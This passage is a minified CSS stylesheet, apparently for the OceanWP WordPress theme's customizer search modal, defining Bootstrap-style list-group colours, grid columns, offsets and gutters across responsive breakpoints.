.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#0f5132;border-color:#0f5132}#ocean-wp-customize-search .list-group-item-info,.ocean-customize-search-modal .list-group-item-info{color:#055160;background-color:#cff4fc}#ocean-wp-customize-search .list-group-item-info.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-info.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-info.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-info.list-group-item-action:focus{color:#055160;background-color:#badce3}#ocean-wp-customize-search .list-group-item-info.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-info.list-group-item-action.active{color:#fff;background-color:#055160;border-color:#055160}#ocean-wp-customize-search .list-group-item-warning,.ocean-customize-search-modal .list-group-item-warning{color:#664d03;background-color:#fff3cd}#ocean-wp-customize-search .list-group-item-warning.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-warning.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-warning.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-warning.list-group-item-action:focus{color:#664d03;background-color:#e6dbb9}#ocean-wp-customize-search .list-group-item-warning.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#664d03;border-color:#664d03}#ocean-wp-customize-search .list-group-item-danger,.ocean-customize-search-modal .list-group-item-danger{color:#842029;background-color:#f8d7da}#ocean-wp-customize-search .list-group-item-danger.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-danger.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-danger.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-danger.list-group-item-action:focus{color:#842029;background-color:#dfc2c4}#ocean-wp-customize-search .list-group-item-danger.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#842029;border-color:#842029}#ocean-wp-customize-search .list-group-item-light,.ocean-customize-search-modal .list-group-item-light{color:#636464;background-color:#fefefe}#ocean-wp-customize-search .list-group-item-light.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-light.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-light.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-light.list-group-item-action:focus{color:#636464;background-color:#e5e5e5}#ocean-wp-customize-search .list-group-item-light.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-light.list-group-item-action.active{color:#fff;background-color:#636464;border-color:#636464}#ocean-wp-customize-search .list-group-item-dark,.ocean-customize-search-modal .list-group-item-dark{color:#141619;background-color:#d3d3d4}#ocean-wp-customize-search .list-group-item-dark.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-dark.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-dark.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-dark.list-group-item-action:focus{color:#141619;background-color:#bebebf}#ocean-wp-customize-search .list-group-item-dark.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#141619;border-color:#141619}#ocean-wp-customize-search .row,.ocean-customize-search-modal .row{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;display:flex;flex-wrap:wrap;margin-top:calc(-1 * var(--bs-gutter-y));margin-right:calc(-.5 * var(--bs-gutter-x));margin-left:calc(-.5 * var(--bs-gutter-x))}#ocean-wp-customize-search .row>*,.ocean-customize-search-modal .row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-top:var(--bs-gutter-y)}#ocean-wp-customize-search .col,.ocean-customize-search-modal .col{flex:1 0 0%}#ocean-wp-customize-search .row-cols-auto>*,.ocean-customize-search-modal .row-cols-auto>*{flex:0 0 auto;width:auto}#ocean-wp-customize-search .row-cols-1>*,.ocean-customize-search-modal .row-cols-1>*{flex:0 0 auto;width:100%}#ocean-wp-customize-search .row-cols-2>*,.ocean-customize-search-modal .row-cols-2>*{flex:0 0 auto;width:50%}#ocean-wp-customize-search .row-cols-3>*,.ocean-customize-search-modal .row-cols-3>*{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .row-cols-4>*,.ocean-customize-search-modal .row-cols-4>*{flex:0 0 auto;width:25%}#ocean-wp-customize-search .row-cols-5>*,.ocean-customize-search-modal .row-cols-5>*{flex:0 0 auto;width:20%}#ocean-wp-customize-search .row-cols-6>*,.ocean-customize-search-modal .row-cols-6>*{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-auto,.ocean-customize-search-modal .col-auto{flex:0 0 auto;width:auto}#ocean-wp-customize-search .col-1,.ocean-customize-search-modal .col-1{flex:0 0 auto;width:8.33333%}#ocean-wp-customize-search .col-2,.ocean-customize-search-modal .col-2{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-3,.ocean-customize-search-modal .col-3{flex:0 0 auto;width:25%}#ocean-wp-customize-search .col-4,.ocean-customize-search-modal .col-4{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .col-5,.ocean-customize-search-modal .col-5{flex:0 0 auto;width:41.66667%}#ocean-wp-customize-search .col-6,.ocean-customize-search-modal .col-6{flex:0 0 auto;width:50%}#ocean-wp-customize-search .col-7,.ocean-customize-search-modal .col-7{flex:0 0 auto;width:58.33333%}#ocean-wp-customize-search .col-8,.ocean-customize-search-modal .col-8{flex:0 0 auto;width:66.66667%}#ocean-wp-customize-search .col-9,.ocean-customize-search-modal .col-9{flex:0 0 auto;width:75%}#ocean-wp-customize-search .col-10,.ocean-customize-search-modal .col-10{flex:0 0 auto;width:83.33333%}#ocean-wp-customize-search .col-11,.ocean-customize-search-modal .col-11{flex:0 0 auto;width:91.66667%}#ocean-wp-customize-search .col-12,.ocean-customize-search-modal .col-12{flex:0 0 auto;width:100%}#ocean-wp-customize-search .offset-1,.ocean-customize-search-modal .offset-1{margin-left:8.33333%}#ocean-wp-customize-search .offset-2,.ocean-customize-search-modal .offset-2{margin-left:16.66667%}#ocean-wp-customize-search .offset-3,.ocean-customize-search-modal .offset-3{margin-left:25%}#ocean-wp-customize-search .offset-4,.ocean-customize-search-modal .offset-4{margin-left:33.33333%}#ocean-wp-customize-search .offset-5,.ocean-customize-search-modal .offset-5{margin-left:41.66667%}#ocean-wp-customize-search .offset-6,.ocean-customize-search-modal .offset-6{margin-left:50%}#ocean-wp-customize-search .offset-7,.ocean-customize-search-modal .offset-7{margin-left:58.33333%}#ocean-wp-customize-search .offset-8,.ocean-customize-search-modal .offset-8{margin-left:66.66667%}#ocean-wp-customize-search .offset-9,.ocean-customize-search-modal .offset-9{margin-left:75%}#ocean-wp-customize-search .offset-10,.ocean-customize-search-modal .offset-10{margin-left:83.33333%}#ocean-wp-customize-search .offset-11,.ocean-customize-search-modal .offset-11{margin-left:91.66667%}#ocean-wp-customize-search .g-0,#ocean-wp-customize-search .gx-0,.ocean-customize-search-modal .g-0,.ocean-customize-search-modal .gx-0{--bs-gutter-x: 0}#ocean-wp-customize-search .g-0,#ocean-wp-customize-search .gy-0,.ocean-customize-search-modal .g-0,.ocean-customize-search-modal .gy-0{--bs-gutter-y: 0}#ocean-wp-customize-search .g-1,#ocean-wp-customize-search .gx-1,.ocean-customize-search-modal .g-1,.ocean-customize-search-modal .gx-1{--bs-gutter-x: .25rem}#ocean-wp-customize-search .g-1,#ocean-wp-customize-search .gy-1,.ocean-customize-search-modal .g-1,.ocean-customize-search-modal .gy-1{--bs-gutter-y: .25rem}#ocean-wp-customize-search .g-2,#ocean-wp-customize-search .gx-2,.ocean-customize-search-modal .g-2,.ocean-customize-search-modal .gx-2{--bs-gutter-x: .5rem}#ocean-wp-customize-search .g-2,#ocean-wp-customize-search .gy-2,.ocean-customize-search-modal .g-2,.ocean-customize-search-modal .gy-2{--bs-gutter-y: .5rem}#ocean-wp-customize-search .g-3,#ocean-wp-customize-search .gx-3,.ocean-customize-search-modal .g-3,.ocean-customize-search-modal .gx-3{--bs-gutter-x: 1rem}#ocean-wp-customize-search .g-3,#ocean-wp-customize-search .gy-3,.ocean-customize-search-modal .g-3,.ocean-customize-search-modal .gy-3{--bs-gutter-y: 1rem}#ocean-wp-customize-search .g-4,#ocean-wp-customize-search .gx-4,.ocean-customize-search-modal .g-4,.ocean-customize-search-modal .gx-4{--bs-gutter-x: 1.5rem}#ocean-wp-customize-search .g-4,#ocean-wp-customize-search .gy-4,.ocean-customize-search-modal .g-4,.ocean-customize-search-modal .gy-4{--bs-gutter-y: 1.5rem}#ocean-wp-customize-search .g-5,#ocean-wp-customize-search .gx-5,.ocean-customize-search-modal .g-5,.ocean-customize-search-modal .gx-5{--bs-gutter-x: 3rem}#ocean-wp-customize-search .g-5,#ocean-wp-customize-search .gy-5,.ocean-customize-search-modal .g-5,.ocean-customize-search-modal .gy-5{--bs-gutter-y: 3rem}@media (min-width: 576px){#ocean-wp-customize-search .col-sm,.ocean-customize-search-modal .col-sm{flex:1 0 0%}#ocean-wp-customize-search .row-cols-sm-auto>*,.ocean-customize-search-modal .row-cols-sm-auto>*{flex:0 0 auto;width:auto}#ocean-wp-customize-search .row-cols-sm-1>*,.ocean-customize-search-modal .row-cols-sm-1>*{flex:0 0 auto;width:100%}#ocean-wp-customize-search .row-cols-sm-2>*,.ocean-customize-search-modal .row-cols-sm-2>*{flex:0 0 auto;width:50%}#ocean-wp-customize-search .row-cols-sm-3>*,.ocean-customize-search-modal .row-cols-sm-3>*{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .row-cols-sm-4>*,.ocean-customize-search-modal .row-cols-sm-4>*{flex:0 0 auto;width:25%}#ocean-wp-customize-search .row-cols-sm-5>*,.ocean-customize-search-modal .row-cols-sm-5>*{flex:0 0 auto;width:20%}#ocean-wp-customize-search .row-cols-sm-6>*,.ocean-customize-search-modal .row-cols-sm-6>*{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-sm-auto,.ocean-customize-search-modal .col-sm-auto{flex:0 0 auto;width:auto}#ocean-wp-customize-search .col-sm-1,.ocean-customize-search-modal .col-sm-1{flex:0 0 auto;width:8.33333%}#ocean-wp-customize-search .col-sm-2,.ocean-customize-search-modal .col-sm-2{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-sm-3,.ocean-customize-search-modal .col-sm-3{flex:0 0 auto;width:25%}#ocean-wp-customize-search .col-sm-4,.ocean-customize-search-modal .col-sm-4{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .col-sm-5,.ocean-customize-search-modal .col-sm-5{flex:0 0 auto;width:41.66667%}#ocean-wp-customize-search .col-sm-6,.ocean-customize-search-modal .col-sm-6{flex:0 0 auto;width:50%}#ocean-wp-customize-search .col-sm-7,.ocean-customize-search-modal .col-sm-7{flex:0 0 auto;width:58.33333%}#ocean-wp-customize-search .col-sm-8,.ocean-customize-search-modal .col-sm-8{flex:0 0 auto;width:66.66667%}#ocean-wp-customize-search .col-sm-9,.ocean-customize-search-modal .col-sm-9{flex:0 0 auto;width:75%}#ocean-wp-customize-search .col-sm-10,.ocean-customize-search-modal .col-sm-10{flex:0 0 auto;width:83.33333%}#ocean-wp-customize-search .col-sm-11,.ocean-customize-search-modal .col-sm-11{flex:0 0 auto;width:91.66667%}#ocean-wp-customize-search .col-sm-12,.ocean-customize-search-modal .col-sm-12{flex:0 0 auto;width:100%}#ocean-wp-customize-search .offset-sm-0,.ocean-customize-search-modal .offset-sm-0{margin-left:0}#ocean-wp-customize-search .offset-sm-1,.ocean-customize-search-modal .offset-sm-1{margin-left:8.33333%}#ocean-wp-customize-search .offset-sm-2,.ocean-customize-search-modal .offset-sm-2{margin-left:16.66667%}#ocean-wp-customize-search .offset-sm-3,.ocean-customize-search-modal .offset-sm-3{margin-left:25%}#ocean-wp-customize-search .offset-sm-4,.ocean-customize-search-modal .offset-sm-4{margin-left:33.33333%}#ocean-wp-customize-search .offset-sm-5,.ocean-customize-search-modal .offset-sm-5{margin-left:41.66667%}#ocean-wp-customize-search .offset-sm-6,.ocean-customize-search-modal .offset-sm-6{margin-left:50%}#ocean-wp-customize-search .offset-sm-7,.ocean-customize-search-modal .offset-sm-7{margin-left:58.33333%}#ocean-wp-customize-search .offset-sm-8,.ocean-customize-search-modal .offset-sm-8{margin-left:66.66667%}#ocean-wp-customize-search .offset-sm-9,.ocean-customize-search-modal .offset-sm-9{margin-left:75%}#ocean-wp-customize-search .offset-sm-10,.ocean-customize-search-modal .offset-sm-10{margin-left:83.33333%}#ocean-wp-customize-search .offset-sm-11,.ocean-customize-search-modal .offset-sm-11{margin-left:91.66667%}#ocean-wp-customize-search .g-sm-0,#ocean-wp-customize-search .gx-sm-0,.ocean-customize-search-modal .g-sm-0,.ocean-customize-search-modal .gx-sm-0{--bs-gutter-x: 0}#ocean-wp-customize-search .g-sm-0,#ocean-wp-customize-search .gy-sm-0,.ocean-customize-search-modal .g-sm-0,.ocean-customize-search-modal .gy-sm-0{--bs-gutter-y: 0}#ocean-wp-customize-search .g-sm-1,#ocean-wp-customize-search .gx-sm-1,.ocean-customize-search-modal .g-sm-1,.ocean-customize-search-modal .gx-sm-1{--bs-gutter-x: .25rem}#ocean-wp-customize-search .g-sm-1,#ocean-wp-customize-search .gy-sm-1,.ocean-customize-search-modal .g-sm-1,.ocean-customize-search-modal .gy-sm-1{--bs-gutter-y: .25rem}#ocean-wp-customize-search .g-sm-2,#ocean-wp-customize-search .gx-sm-2,.ocean-customize-search-modal .g-sm-2,.ocean-customize-search-modal .gx-sm-2{--bs-gutter-x: .5rem}#ocean-wp-customize-search .g-sm-2,#ocean-wp-customize-search .gy-sm-2,.ocean-customize-search-modal .g-sm-2,.ocean-customize-search-modal .gy-sm-2{--bs-gutter-y: .5rem}#ocean-wp-customize-search .g-sm-3,#ocean-wp-customize-search .gx-sm-3,.ocean-customize-search-modal .g-sm-3,.ocean-customize-search-modal .gx-sm-3{--bs-gutter-x: 1rem}#ocean-wp-customize-search .g-sm-3,#ocean-wp-customize-search .gy-sm-3,.ocean-customize-search-modal .g-sm-3,.ocean-customize-search-modal .gy-sm-3{--bs-gutter-y: 1rem}#ocean-wp-customize-search .g-sm-4,#ocean-wp-customize-search .gx-sm-4,.ocean-customize-search-modal .g-sm-4,.ocean-customize-search-modal .gx-sm-4{--bs-gutter-x: 1.5rem}#ocean-wp-customize-search .g-sm-4,#ocean-wp-customize-search .gy-sm-4,.ocean-customize-search-modal .g-sm-4,.ocean-customize-search-modal .gy-sm-4{--bs-gutter-y: 1.5rem}#ocean-wp-customize-search .g-sm-5,#ocean-wp-customize-search .gx-sm-5,.ocean-customize-search-modal .g-sm-5,.ocean-customize-search-modal .gx-sm-5{--bs-gutter-x: 3rem}#ocean-wp-customize-search .g-sm-5,#ocean-wp-customize-search .gy-sm-5,.ocean-customize-search-modal .g-sm-5,.ocean-customize-search-modal .gy-sm-5{--bs-gutter-y: 3rem}}@media (min-width: 768px){#ocean-wp-customize-search .col-md,.ocean-customize-search-modal .col-md{flex:1 0 0%}#ocean-wp-customize-search .row-cols-md-auto>*,.ocean-customize-search-modal .row-cols-md-auto>*{flex:0 0 auto;width:auto}#ocean-wp-customize-search .row-cols-md-1>*,.ocean-customize-search-modal .row-cols-md-1>*{flex:0 0 auto;width:100%}#ocean-wp-customize-search .row-cols-md-2>*,.ocean-customize-search-modal .row-cols-md-2>*{flex:0 0 auto;width:50%}#ocean-wp-customize-search .row-cols-md-3>*,.ocean-customize-search-modal .row-cols-md-3>*{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .row-cols-md-4>*,.ocean-customize-search-modal .row-cols-md-4>*{flex:0 0 auto;width:25%}#ocean-wp-customize-search .row-cols-md-5>*,.ocean-customize-search-modal .row-cols-md-5>*{flex:0 0 auto;width:20%}#ocean-wp-customize-search .row-cols-md-6>*,.ocean-customize-search-modal .row-cols-md-6>*{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-md-auto,.ocean-customize-search-modal .col-md-auto{flex:0 0 auto;width:auto}#ocean-wp-customize-search .col-md-1,.ocean-customize-search-modal .col-md-1{flex:0 0 auto;width:8.33333%}#ocean-wp-customize-search .col-md-2,.ocean-customize-search-modal .col-md-2{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-md-3,.ocean-customize-search-modal .col-md-3{flex:0 0 auto;width:25%}#ocean-wp-customize-search .col-md-4,.ocean-customize-search-modal .col-md-4{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .col-md-5,.ocean-customize-search-modal .col-md-5{flex:0 0 auto;width:41.66667%}#ocean-wp-customize-search .col-md-6,.ocean-customize-search-modal .col-md-6{flex:0 0 auto;width:50%}#ocean-wp-customize-search .col-md-7,.ocean-customize-search-modal .col-md-7{flex:0 0 auto;width:58.33333%}#ocean-wp-customize-search .col-md-8,.ocean-customize-search-modal .col-md-8{flex:0 0 auto;width:66.66667%}#ocean-wp-customize-search .col-md-9,.ocean-customize-search-modal .col-md-9{flex:0 0 auto;width:75%}#ocean-wp-customize-search .col-md-10,.ocean-customize-search-modal .col-md-10{flex:0 0 auto;width:83.33333%}#ocean-wp-customize-search .col-md-11,.ocean-customize-search-modal .col-md-11{flex:0 0 auto;width:91.66667%}#ocean-wp-customize-search .col-md-12,.ocean-customize-search-modal .col-md-12{flex:0 0 auto;width:100%}#ocean-wp-customize-search .offset-md-0,.ocean-customize-search-modal .offset-md-0{margin-left:0}#ocean-wp-customize-search .offset-md-1,.ocean-customize-search-modal .offset-md-1{margin-left:8.33333%}#ocean-wp-customize-search .offset-md-2,.ocean-customize-search-modal .offset-md-2{margin-left:16.66667%}#ocean-wp-customize-search .offset-md-3,.ocean-customize-search-modal .offset-md-3{margin-left:25%}#ocean-wp-customize-search .offset-md-4,.ocean-customize-search-modal .offset-md-4{margin-left:33.33333%}#ocean-wp-customize-search .offset-md-5,.ocean-customize-search-modal .offset-md-5{margin-left:41.66667%}#ocean-wp-customize-search .offset-md-6,.ocean-customize-search-modal .offset-md-6{margin-left:50%}#ocean-wp-customize-search .offset-md-7,.ocean-customize-search-modal .offset-md-7{margin-left:58.33333%}#ocean-wp-customize-search .offset-md-8,.ocean-customize-search-modal .offset-md-8{margin-left:66.66667%}#ocean-wp-customize-search .offset-md-9,.ocean-customize-search-modal .offset-md-9{margin-left:75%}#ocean-wp-customize-search .offset-md-10,.ocean-customize-search-modal .offset-md-10{margin-left:83.33333%}#ocean-wp-customize-search .offset-md-11,.ocean-customize-search-modal .offset-md-11{margin-left:91.66667%}#ocean-wp-customize-search .g-md-0,#ocean-wp-customize-search .gx-md-0,.ocean-customize-search-modal .g-md-0,.ocean-customize-search-modal .gx-md-0{--bs-gutter-x: 0}#ocean-wp-customize-search .g-md-0,#ocean-wp-customize-search .gy-md-0,.ocean-customize-search-modal .g-md-0,.ocean-customize-search-modal .gy-md-0{--bs-gutter-y: 0}#ocean-wp-customize-search .g-md-1,#ocean-wp-customize-search .gx-md-1,.ocean-customize-search-modal .g-md-1,.ocean-customize-search-modal .gx-md-1{--bs-gutter-x: .25rem}#ocean-wp-customize-search .g-md-1,#ocean-wp-customize-search .gy-md-1,.ocean-customize-search-modal .g-md-1,.ocean-customize-search-modal .gy-md-1{--bs-gutter-y: .25rem}#ocean-wp-customize-search .g-md-2,#ocean-wp-customize-search .gx-md-2,.ocean-customize-search-modal .g-md-2,.ocean-customize-search-modal .gx-md-2{--bs-gutter-x: .5rem}#ocean-wp-customize-search .g-md-2,#ocean-wp-customize-search .gy-md-2,.ocean-customize-search-modal .g-md-2,.ocean-customize-search-modal .gy-md-2{--bs-gutter-y: .5rem}#ocean-wp-customize-search .g-md-3,#ocean-wp-customize-search .gx-md-3,.ocean-customize-search-modal .g-md-3,.ocean-customize-search-modal .gx-md-3{--bs-gutter-x: 1rem}#ocean-wp-customize-search .g-md-3,#ocean-wp-customize-search .gy-md-3,.ocean-customize-search-modal .g-md-3,.ocean-customize-search-modal .gy-md-3{--bs-gutter-y: 1rem}#ocean-wp-customize-search .g-md-4,#ocean-wp-customize-search .gx-md-4,.ocean-customize-search-modal .g-md-4,.ocean-customize-search-modal .gx-md-4{--bs-gutter-x: 1.5rem}#ocean-wp-customize-search .g-md-4,#ocean-wp-customize-search .gy-md-4,.ocean-customize-search-modal .g-md-4,.ocean-customize-search-modal .gy-md-4{--bs-gutter-y: 1.5rem}#ocean-wp-customize-search .g-md-5,#ocean-wp-customize-search .gx-md-5,.ocean-customize-search-modal .g-md-5,.ocean-customize-search-modal .gx-md-5{--bs-gutter-x: 3rem}#ocean-wp-customize-search .g-md-5,#ocean-wp-customize-search .gy-md-5,.ocean-customize-search-modal .g-md-5,.ocean-customize-search-modal .gy-md-5{--bs-gutter-y: 3rem}}@media (min-width: 992px){#ocean-wp-customize-search .col-lg,.ocean-customize-search-modal .col-lg{flex:1 0 0%}#ocean-wp-customize-search .row-cols-lg-auto>*,.ocean-customize-search-modal .row-cols-lg-auto>*{flex:0 0 auto;width:auto}#ocean-wp-customize-search .row-cols-lg-1>*,.ocean-customize-search-modal .row-cols-lg-1>*{flex:0 0 auto;width:100%}#ocean-wp-customize-search .row-cols-lg-2>*,.ocean-customize-search-modal .row-cols-lg-2>*{flex:0 0 auto;width:50%}#ocean-wp-customize-search .row-cols-lg-3>*,.ocean-customize-search-modal .row-cols-lg-3>*{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .row-cols-lg-4>*,.ocean-customize-search-modal .row-cols-lg-4>*{flex:0 0 auto;width:25%}#ocean-wp-customize-search .row-cols-lg-5>*,.ocean-customize-search-modal .row-cols-lg-5>*{flex:0 0 auto;width:20%}#ocean-wp-customize-search .row-cols-lg-6>*,.ocean-customize-search-modal .row-cols-lg-6>*{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-lg-auto,.ocean-customize-search-modal .col-lg-auto{flex:0 0 auto;width:auto}#ocean-wp-customize-search .col-lg-1,.ocean-customize-search-modal .col-lg-1{flex:0 0 auto;width:8.33333%}#ocean-wp-customize-search .col-lg-2,.ocean-customize-search-modal .col-lg-2{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-lg-3,.ocean-customize-search-modal .col-lg-3{flex:0 0 auto;width:25%}#ocean-wp-customize-search .col-lg-4,.ocean-customize-search-modal .col-lg-4{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .col-lg-5,.ocean-customize-search-modal .col-lg-5{flex:0 0 auto;width:41.66667%}#ocean-wp-customize-search .col-lg-6,.ocean-customize-search-modal .col-lg-6{flex:0 0 auto;width:50%}#ocean-wp-customize-search .col-lg-7,.ocean-customize-search-modal .col-lg-7{flex:0 0 auto;width:58.33333%}#ocean-wp-customize-search .col-lg-8,.ocean-customize-search-modal .col-lg-8{flex:0 0 auto;width:66.66667%}#ocean-wp-customize-search .col-lg-9,.ocean-customize-search-modal .col-lg-9{flex:0 0 auto;width:75%}#ocean-wp-customize-search .col-lg-10,.ocean-customize-search-modal .col-lg-10{flex:0 0 auto;width:83.33333%}#ocean-wp-customize-search .col-lg-11,.ocean-customize-search-modal .col-lg-11{flex:0 0 auto;width:91.66667%}#ocean-wp-customize-search .col-lg-12,.ocean-customize-search-modal .col-lg-12{flex:0 0 auto;width:100%}#ocean-wp-customize-search .offset-lg-0,.ocean-customize-search-modal .offset-lg-0{margin-left:0}#ocean-wp-customize-search .offset-lg-1,.ocean-customize-search-modal .offset-lg-1{margin-left:8.33333%}#ocean-wp-customize-search .offset-lg-2,.ocean-customize-search-modal .offset-lg-2{margin-left:16.66667%}#ocean-wp-customize-search .offset-lg-3,.ocean-customize-search-modal .offset-lg-3{margin-left:25%}#ocean-wp-customize-search .offset-lg-4,.ocean-customize-search-modal .offset-lg-4{margin-left:33.33333%}#ocean-wp-customize-search .offset-lg-5,.ocean-customize-search-modal .offset-lg-5{margin-left:41.66667%}#ocean-wp-customize-search .offset-lg-6,.ocean-customize-search-modal .offset-lg-6{margin-left:50%}#ocean-wp-customize-search .offset-lg-7,.ocean-customize-search-modal .offset-lg-7{margin-left:58.33333%}#ocean-wp-customize-search .offset-lg-8,.ocean-customize-search-modal .offset-lg-8{margin-left:66.66667%}#ocean-wp-customize-search .offset-lg-9,.ocean-customize-search-modal .offset-lg-9{margin-left:75%}#ocean-wp-customize-search .offset-lg-10,.ocean-customize-search-modal .offset-lg-10{margin-left:83.33333%}#ocean-wp-customize-search .offset-lg-11,.ocean-customize-search-modal .offset-lg-11{margin-left:91.66667%}#ocean-wp-customize-search .g-lg-0,#ocean-wp-customize-search .gx-lg-0,.ocean-customize-search-modal .g-lg-0,.ocean-customize-search-modal .gx-lg-0{--bs-gutter-x: 0}#ocean-wp-customize-search .g-lg-0,#ocean-wp-customize-search .gy-lg-0,.ocean-customize-search-modal .g-lg-0,.ocean-customize-search-modal .gy-lg-0{--bs-gutter-y: 0}#ocean-wp-customize-search .g-lg-1,#ocean-wp-customize-search .gx-lg-1,.ocean-customize-search-modal .g-lg-1,.ocean-customize-search-modal .gx-lg-1{--bs-gutter-x: .25rem}#ocean-wp-customize-search .g-lg-1,#ocean-wp-customize-search .gy-lg-1,.ocean-customize-search-modal .g-lg-1,.ocean-customize-search-modal .gy-lg-1{--bs-gutter-y: .25rem}#ocean-wp-customize-search .g-lg-2,#ocean-wp-customize-search .gx-lg-2,.ocean-customize-search-modal .g-lg-2,.ocean-customize-search-modal .gx-lg-2{--bs-gutter-x: .5rem}#ocean-wp-customize-search .g-lg-2,#ocean-wp-customize-search .gy-lg-2,.ocean-customize-search-modal .g-lg-2,.ocean-customize-search-modal .gy-lg-2{--bs-gutter-y: .5rem}#ocean-wp-customize-search .g-lg-3,#ocean-wp-customize-search .gx-lg-3,.ocean-customize-search-modal .g-lg-3,.ocean-customize-search-modal .gx-lg-3{--bs-gutter-x: 1rem}#ocean-wp-customize-search .g-lg-3,#ocean-wp-customize-search .gy-lg-3,.ocean-customize-search-modal .g-lg-3,.ocean-customize-search-modal .gy-lg-3{--bs-gutter-y: 1rem}#ocean-wp-customize-search .g-lg-4,#ocean-wp-customize-search .gx-lg-4,.ocean-customize-search-modal .g-lg-4,.ocean-customize-search-modal .gx-lg-4{--bs-gutter-x: 1.5rem}#ocean-wp-customize-search .g-lg-4,#ocean-wp-customize-search .gy-lg-4,.ocean-customize-search-modal .g-lg-4,.ocean-customize-search-modal .gy-lg-4{--bs-gutter-y: 1.5rem}#ocean-wp-customize-search .g-lg-5,#ocean-wp-customize-search .gx-lg-5,.ocean-customize-search-modal .g-lg-5,.ocean-customize-search-modal .gx-lg-5{--bs-gutter-x: 3rem}#ocean-wp-customize-search .g-lg-5,#ocean-wp-customize-search .gy-lg-5,.ocean-customize-search-modal .g-lg-5,.ocean-customize-search-modal .gy-lg-5{--bs-gutter-y: 3rem}}@media (min-width: 1200px){#ocean-wp-customize-search .col-xl,.ocean-customize-search-modal .col-xl{flex:1 0 0%}#ocean-wp-customize-search .row-cols-xl-auto>*,.ocean-customize-search-modal .row-cols-xl-auto>*{flex:0 0 auto;width:auto}#ocean-wp-customize-search .row-cols-xl-1>*,.ocean-customize-search-modal .row-cols-xl-1>*{flex:0 0 auto;width:100%}#ocean-wp-customize-search .row-cols-xl-2>*,.ocean-customize-search-modal .row-cols-xl-2>*{flex:0 0 auto;width:50%}#ocean-wp-customize-search .row-cols-xl-3>*,.ocean-customize-search-modal .row-cols-xl-3>*{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .row-cols-xl-4>*,.ocean-customize-search-modal .row-cols-xl-4>*{flex:0 0 auto;width:25%}#ocean-wp-customize-search .row-cols-xl-5>*,.ocean-customize-search-modal .row-cols-xl-5>*{flex:0 0 auto;width:20%}#ocean-wp-customize-search .row-cols-xl-6>*,.ocean-customize-search-modal .row-cols-xl-6>*{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-xl-auto,.ocean-customize-search-modal .col-xl-auto{flex:0 0 auto;width:auto}#ocean-wp-customize-search .col-xl-1,.ocean-customize-search-modal .col-xl-1{flex:0 0 auto;width:8.33333%}#ocean-wp-customize-search .col-xl-2,.ocean-customize-search-modal .col-xl-2{flex:0 0 auto;width:16.66667%}#ocean-wp-customize-search .col-xl-3,.ocean-customize-search-modal .col-xl-3{flex:0 0 auto;width:25%}#ocean-wp-customize-search .col-xl-4,.ocean-customize-search-modal .col-xl-4{flex:0 0 auto;width:33.33333%}#ocean-wp-customize-search .col-xl-5,.ocean-customize-search-modal .col-xl-5{flex:0 0 auto;width:41.66667%}#ocean-wp-customize-search .col-xl-6,.ocean-customize-search-modal .col-xl-6{flex:0 0 auto;width:50%}#ocean-wp-customize-search .col-xl-7,.ocean-customize-search-modal .col-xl-7{flex:0 0 auto;width:58.33333%}#ocean-wp-customize-search .col-xl-8,.ocean-customize-search-modal .col-xl-8{flex:0 0 auto;width:66.66667%}#ocean-wp-customize-search .col-xl-9,.ocean-customize-search-modal .col-xl-9{flex:0 0 auto;width:75%}#ocean-wp-customize-search .col-xl-10,.ocean-customize-search-modal .col-xl-10{flex:0 0 auto;width:83.33333%}#ocean-wp-customize-search .col-xl-11,.ocean-customize-search-modal .col-xl-11{flex:0 0 auto;width:91.66667%}#ocean-wp-customize-search .col-xl-12,.ocean-customize-search-modal .col-xl-12{flex:0 0 auto;width:100%}#ocean-wp-customize-search .offset-xl-0,.ocean-customize-search-modal .offset-xl-0{margin-left:0}#ocean-wp-customize-search .offset-xl-1,.ocean-customize-search-modal .offset-xl-1{margin-left:8.33333%}#ocean-wp-customize-search .offset-xl-2,.ocean-customize-search-modal .offset-xl-2{margin-left:16.66667%}#ocean-wp-customize-search .offset-xl-3,.ocean-customize-search-modal .offset-xl-3{margin-left:25%}#ocean-wp-customize-search .offset-xl-4,.ocean-customize-search-modal 